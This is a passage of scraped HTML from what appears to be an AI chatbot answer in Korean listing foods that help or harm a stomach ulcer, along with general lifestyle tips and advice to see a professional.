src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRhiY0J_nZrw7x2C9nqj2FXtKZ8NpkWI-G0tQxeYxUWZsfT-n1UpFkrIVVZ2b2t"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://gwdmall.kr/goods/view?no=106733" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bd627a229e9ed958","c_0bdedd2b6bc85787",null,"rc_350be4b97a36f7ff",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTc0y3EnbKsQ7XErJ3vlUkdkXcdxEWHHAu8QBLnm252Cd0Lq2rarR4k4GiZa5UqcR08Nfv51KY_Fs64oy5PmrCyk-hH4w"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">gwdmall.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 감자 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="22:1-24:0"> <p data-sourcepos="22:3-23:14"><strong>바나나:</strong> 위산을 중화하고 위 점막을 보호하는 가 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bd627a229e9ed958","c_0bdedd2b6bc85787",null,"rc_350be4b97a36f7ff",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%B0%94%EB%82%98%EB%82%98"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="바나나 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSyp_OHLD_jOtgWxMe8djlFJzpwzQWh6xiZPGj9R-bQiGEPy_RpbNqZm8SXB5NR"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%B0%94%EB%82%98%EB%82%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bd627a229e9ed958","c_0bdedd2b6bc85787",null,"rc_350be4b97a36f7ff",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 바나나 </div></div></single-image></response-element></div></p> </li> </ul><h3 data-sourcepos="25:1-25:16">위궤양에 안 좋은 음식</h3><p data-sourcepos="27:1-27:27">위궤양 환자는 다음과 같은 음식을 피해야 합니다.</p><ul data-sourcepos="29:1-35:0"> <li data-sourcepos="29:1-29:39"><strong>매운 음식:</strong> 위 점막을 자극하여 통증을 유발할 수 있습니다.</li> <li data-sourcepos="30:1-30:43"><strong>기름진 음식:</strong> 소화 부담을 높이고 위산 분비를 촉진할 수 있습니다.</li> <li data-sourcepos="31:1-31:51"><strong>카페인 음료:</strong> 위산 분비를 촉진하여 위를 자극할 수 있습니다. (커피, 콜라 등)</li> <li data-sourcepos="32:1-32:42"><strong>알코올:</strong> 위 점막을 손상시키고 위산 분비를 증가시킬 수 있습니다.</li> <li data-sourcepos="33:1-33:35"><strong>탄산음료:</strong> 위를 부풀리고 소화를 방해할 수 있습니다.</li> <li data-sourcepos="34:1-35:0"><strong>신맛이 강한 과일:</strong> 위산 분비를 자극할 수 있습니다. (레몬, 오렌지 등)</li> </ul><h3 data-sourcepos="36:1-36:11">기타 주의사항</h3><ul data-sourcepos="38:1-42:0"> <li data-sourcepos="38:1-38:40"><strong>규칙적인 식사:</strong> 불규칙한 식사는 위에 부담을 줄 수 있습니다.</li> <li data-sourcepos="39:1-39:37"><strong>적절한 식사량:</strong> 과식은 소화 불량을 유발할 수 있습니다.</li> <li data-sourcepos="40:1-40:38"><strong>스트레스 관리:</strong> 스트레스는 위궤양을 악화시킬 수 있습니다.</li> <li data-sourcepos="41:1-42:0"><strong>금연:</strong> 흡연은 위궤양의 주요 원인 중 하나입니다.</li> </ul><p data-sourcepos="43:1-43:94"><strong>주의:</strong> 위에 좋은 음식과 나쁜 음식은 개인의 체질에 따라 다를 수 있습니다. 위궤양이 의심되는 경우 반드시 전문가와 상담하여 적절한 를 받는 것이 중요합니다.</p><p data-sourcepos="45:1-45:29"><strong>더 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div> </div></div>